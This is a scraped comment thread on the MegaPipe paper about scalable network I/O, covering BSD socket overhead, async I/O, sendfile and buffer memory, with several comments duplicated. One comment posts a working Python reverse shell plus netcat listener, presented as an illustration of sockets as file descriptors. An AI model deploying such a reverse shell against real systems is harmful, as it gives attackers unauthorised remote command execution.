MegaPipe: A New Programming Interface for Scalable Network I/O(highscalability.com)
highscalability.com
MegaPipe: A New Programming Interface for Scalable Network I/O
http://highscalability.com/blog/2013/6/19/paper-megapipe-a-new-programming-interface-for-scalable-netw.html
8 comments
With megapipe, would you still be able to write an event loop that operates on their lwsocket and regular file descriptors from pipes? If not that would complicate many applications.
The fact that I/O is unified under file descriptors is a great abstraction and one of the key design points of Unix, although DJB makes a good point that there should have been two file descriptors for sockets: http://cr.yp.to/tcpip/twofd.html
I ran into a pretty neat usage of sockets as files the other day (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-ch...)
However I am not exactly sure how this code works, but try it:
The fact that I/O is unified under file descriptors is a great abstraction and one of the key design points of Unix, although DJB makes a good point that there should have been two file descriptors for sockets: http://cr.yp.to/tcpip/twofd.html
I ran into a pretty neat usage of sockets as files the other day (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-ch...)
However I am not exactly sure how this code works, but try it:
$ nc -l 127.0.0.1 1234
then:
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
netcat is listening on your machine. the python script is connecting to your machine and giving you a shell.
dup2 will take one file descriptor and change it into another.
0 is STDIN's file descriptor by default in *nix (I believe this is standard POSIX, but i could be wrong). 1 is STDOUT, 2 is STDERR.
os.dup2 in this case is taking the file descriptor for the socket and placing it into STDIN, STDOUT, and STDERR.
At this point all the code that does anything with these will end up writing to the TCP socket instead.
When subprocess.call is used, it will inherit the parent's STDIN, STDOUT, and STDERR handles, in this case the TCP socket.
So when the shell tries to output anything it'll go to the TCP socket, when it tries to read it'll go to the TCP socket and get the information.
This is the same way that things like nohup work, by putting all the sockets to a file, the process doesn't get killed when the tty goes away, since it doesn't have one. It also grabs some of the signals from the child first also so the shell doesn't kill it directly.
dup2 will take one file descriptor and change it into another.
0 is STDIN's file descriptor by default in *nix (I believe this is standard POSIX, but i could be wrong). 1 is STDOUT, 2 is STDERR.
os.dup2 in this case is taking the file descriptor for the socket and placing it into STDIN, STDOUT, and STDERR.
At this point all the code that does anything with these will end up writing to the TCP socket instead.
When subprocess.call is used, it will inherit the parent's STDIN, STDOUT, and STDERR handles, in this case the TCP socket.
So when the shell tries to output anything it'll go to the TCP socket, when it tries to read it'll go to the TCP socket and get the information.
This is the same way that things like nohup work, by putting all the sockets to a file, the process doesn't get killed when the tty goes away, since it doesn't have one. It also grabs some of the signals from the child first also so the shell doesn't kill it directly.
Actually, that overhead is not entirely wasted. For example, on Solaris (unlike Linux), Asynchronous I/O is supported for network sockets. (In fairness, Windows also supports it.)
As another example, Solaris has the event completion framework which is also available when using sockets:
https://blogs.oracle.com/barts/entry/entry_2_event_ports
So I wonder how much of this is the platform implementation they were testing instead of their new API? It's unclear from their presentation materials whether this is really just covering up for problems in the implementation.
I would have liked to have seen more test data comparing this work on multiple platforms.
As another example, Solaris has the event completion framework which is also available when using sockets:
https://blogs.oracle.com/barts/entry/entry_2_event_ports
So I wonder how much of this is the platform implementation they were testing instead of their new API? It's unclear from their presentation materials whether this is really just covering up for problems in the implementation.
I would have liked to have seen more test data comparing this work on multiple platforms.
Linux is popular, but not exactly the gold standard of async IO APIs. Comparisons over more platforms would better support the claim that it's cross-platform improvement over Berkely sockets.
Don't all programs you use over SSH take advantage of the fact that you can pretend that STDIN is a file even when it's a socket?
I don't think so. ssh allocates a ptty and programs write to that, which ssh then proxies back to you. There's a middle-man.
These programs couldn't write directly to the port 22 TCP socket you use to connect, or their content wouldn't be encrypted or have the other various SSH beenfits.
These programs couldn't write directly to the port 22 TCP socket you use to connect, or their content wouldn't be encrypted or have the other various SSH beenfits.
The real problem is the entrenched legacy software that uses BSD sockets. I don't want to even imagine the cost of rewriting all of that to use a different networking paradigm. POSIX certainly isn't the best way to do things, especially with the move to the cloud, but much of today's high-performance software today does fine with sockets. There are absolutely some hacks that are used to get around some inadequacies, but BSD sockets work, by and large.
Agreed there - maybe a possible option would be to flag a specific port as being non-BSD sockets? So when the kernel reads the port, some short circuit logic could trigger and dump out to a different socket implementation? That would allow legacy to run fine, and then let apps trigger a special flag when binding a socket to allow for direct access. The routing part of tcp/ip happens before BSD sockets are hit, so this should do an end-run around the BSD socket overhead.
Then you could have your system running as normal, but allowing your http server special access to network i/o. Any kernel hackers around who can comment?
Then you could have your system running as normal, but allowing your http server special access to network i/o. Any kernel hackers around who can comment?
I'm not certain, but it seems from the article that they implemented MegaPipe to run alongside the BSD API. You do have to keep the BSD sockets API alongside the new implementation. Not only because there is a lot of existing code that depends on it, but also because abstracting a socket as a file is actually useful in many cases.
As far as I can tell by their ping-pong server example it would be possible to implement some kind of virtual API for BSD sockets on top of megapipe and make it relatively easy for everyone.
The way they do mp_read() is not right IMO.
If you have to pass a target buffer every time you call mp_read, that ends up using a lot of memory in a scenario where there are a lot of connections open but traffic is sparse. Since data might arrive at any open connection, you'll have to have at least one "pending" mp_read operation for every socket at all times. This quickly adds up in terms of memory usage: if you were to read into 64k-sized buffers (that's somewhat arbirary - but using smaller buffers tends to be very bad for througput) you’d need 625mb of memory for just these buffers alone to handle 10.000 connections. In a C10M scenario (http://c10m.robertgraham.com/p/blog-page.html) the same would need a staggering 625GB of memory. The good old select model lets you allocate these read buffers "just in time" before you read data into it.
This was a major issue when implementing libuv (node.js) for windows. Windows overlapped I/O has exactly the same problem (and so has that new RIO thing).
A better model would be to have a "buffer pool" that is kept reasonably full by the user-mode application. The kernel could then take a buffer from the pool as soon as data actually comes in from the network.
If you have to pass a target buffer every time you call mp_read, that ends up using a lot of memory in a scenario where there are a lot of connections open but traffic is sparse. Since data might arrive at any open connection, you'll have to have at least one "pending" mp_read operation for every socket at all times. This quickly adds up in terms of memory usage: if you were to read into 64k-sized buffers (that's somewhat arbirary - but using smaller buffers tends to be very bad for througput) you’d need 625mb of memory for just these buffers alone to handle 10.000 connections. In a C10M scenario (http://c10m.robertgraham.com/p/blog-page.html) the same would need a staggering 625GB of memory. The good old select model lets you allocate these read buffers "just in time" before you read data into it.
This was a major issue when implementing libuv (node.js) for windows. Windows overlapped I/O has exactly the same problem (and so has that new RIO thing).
A better model would be to have a "buffer pool" that is kept reasonably full by the user-mode application. The kernel could then take a buffer from the pool as soon as data actually comes in from the network.
You can probably keep buffers very small with megapipe, since syscalls are batched together, so they can't impact throughput very much in case of many concurrent connections. You still get a lot of memory taken out of kernel per syscall, but spread across many connections, if I understood megapipe correctly.
Well sure you could do that. But I don't believe that reading say 50 bytes at a time is very efficient even when you factor in automatic syscall batching.
But this is all speculation. I didn't any consideration for this problem in the paper at all so I don't have the impression it was on the researchers' radar.
But this is all speculation. I didn't any consideration for this problem in the paper at all so I don't have the impression it was on the researchers' radar.
It sounds like they're trying to solve the same problems that I/O Completion Ports and Registered I/O are, in many of the same ways. It would be nice to see a head-to-head comparison for CPU overhead and scalability between the two models.
How does MegaPipe compare to Van Jacobson's "netchannels" for Linux?
https://lwn.net/Articles/192767/
https://lwn.net/Articles/192767/
This matters in so few applications, and they already have alternatives (mostly message queue systems). Bulk data transfer is rarely operationally time-sensitive. To justify bothering investing time to investigate this, maybe we could see some benchmarks versus popular MQ solutions and traditional sockets for different messaging scenarios. Also factor in the various TCP optimizations, etc. (Actually, something like this should exist anyway... it would be a great resource.)
As far as I can tell, the main usage for this MegaPipe system would be creating a better API for webservers like apache and nginx to plug into to bypass some of the overhead inside BSD sockets. Most popular MQ solutions also use TCP/IP and hence BSD sockets, so they're not alternatives - they would actually replace their BSD socket API calls with MegaPipe API calls and receive performance benefits (in very large message/recipient situations).
I think either you have misunderstood the article, or I have.
I think either you have misunderstood the article, or I have.
For static file serving, Nginx can bypass BSD socket overhead with the sendfile (or sendfile-like) syscall, though it is disabled by default. On FreeBSD, the sendfile syscall accepts not only the fd to pipe, but can additionally be passed a header/footer such that you don't need to call write(2) at all, though this is not true on either Linux or Windows (AFAIK).
The whitepaper's macrobenchmarks make no mention of sendfile; I presume their tests with Nginx run without sendfile enabled (since it would defeat the point of the benchmark by nature of it skipping all of the write(2) calls). The paper does not appear to detail the configuration used in their benchmarks. I believe that the performance benefit of Nginx+MegaPipe, when compared to an Nginx server configured to use sendfile, is much, much less than +75% throughput.
That said, sendfile has very narrow uses (it's effectively only for sending static files) -- I wish the paper benchmarked Nginx against Nginx+MegaPipe as a reverse proxy rather than a static file server.
The whitepaper's macrobenchmarks make no mention of sendfile; I presume their tests with Nginx run without sendfile enabled (since it would defeat the point of the benchmark by nature of it skipping all of the write(2) calls). The paper does not appear to detail the configuration used in their benchmarks. I believe that the performance benefit of Nginx+MegaPipe, when compared to an Nginx server configured to use sendfile, is much, much less than +75% throughput.
That said, sendfile has very narrow uses (it's effectively only for sending static files) -- I wish the paper benchmarked Nginx against Nginx+MegaPipe as a reverse proxy rather than a static file server.
Linux has splice now which can support more generic uses (and tee). You can feed one network stream into another and add headers etc. They are not yet widely used but some decent performance figures I believe.
But on the other hand user space networking is also performing.
But on the other hand user space networking is also performing.
So, I take it you don't know much about research apparently ...
How does it compare with ZeroMQ? Looks to me they have some overlaps for the message batching part.
I hate to say it but, with 'Mega' in the title, I figured this was another Kim Dotcom offering. Not that it's a bad thing but that's instantly where my mind went.
how does this compare to windows overlapped io completion ports.
Hopefully this research spurs on others to create new implementations, because I bet that there are many improvements possible in the basic socket idea.